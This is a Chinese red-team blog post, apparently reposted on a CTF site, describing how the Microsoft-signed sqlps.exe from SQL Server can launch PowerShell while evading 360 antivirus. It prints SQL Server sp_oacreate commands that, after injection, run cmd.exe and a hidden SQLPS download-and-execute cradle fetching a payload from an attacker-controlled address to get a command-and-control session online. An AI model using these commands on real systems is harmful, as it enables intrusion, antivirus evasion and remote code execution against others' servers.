放弃 powershell? 启动 sqlps!| 红队攻防

渗透技巧 3年前 (2022) admin
629 0 0

0x00 前言

sql server 默认安装后,会发现有一个 sqlps.exe:

放弃 powershell? 启动 sqlps!|  红队攻防

此文件本身自带微软签名:

放弃 powershell? 启动 sqlps!|  红队攻防

sqlps的功能,竟然是!启动 powershell???

放弃 powershell? 启动 sqlps!|  红队攻防

而且由于此文件无依赖,因此可以单独取出在无sql server机器上运行

0x01 sqlps 上线

之前使用 powershell 上线,360 必拦截:

放弃 powershell? 启动 sqlps!|  红队攻防

使用sqlps,360无反应且能正常上线:

放弃 powershell? 启动 sqlps!|  红队攻防
放弃 powershell? 启动 sqlps!|  红队攻防

0x02 sp_oacreate

sql server 注入后提权的方法比较多,但是被杀软拦截的也比较厉害,xp_cmdshell会被拦,sp_oacreate也会被拦。

declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:/windows/system32/cmd.exe'
放弃 powershell? 启动 sqlps!|  红队攻防
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'C:UsersPublicSQLPS.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://192.168.80.138:80/a''))"'
放弃 powershell? 启动 sqlps!|  红队攻防

成功上线,弊端是 sql server 默认为service权限,因此对很多目录包括sql server 默认目录都无法执行该程序,因此要提前上传sqlps至C:UsersPublic目录。



往期文章
数据库连接利用工具——Sylas | 红队攻防
远程下载的通用替代方案 | 红队攻防
Windows defender bypass | 免杀
记一次攻防演练tips | 攻防tips

放弃 powershell? 启动 sqlps!|  红队攻防

有态度,不苟同


原文始发于微信公众号(NOP Team):放弃 powershell? 启动 sqlps!| 红队攻防

版权声明:admin 发表于 2022年3月16日 上午8:00。
转载请注明:放弃 powershell? 启动 sqlps!| 红队攻防 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...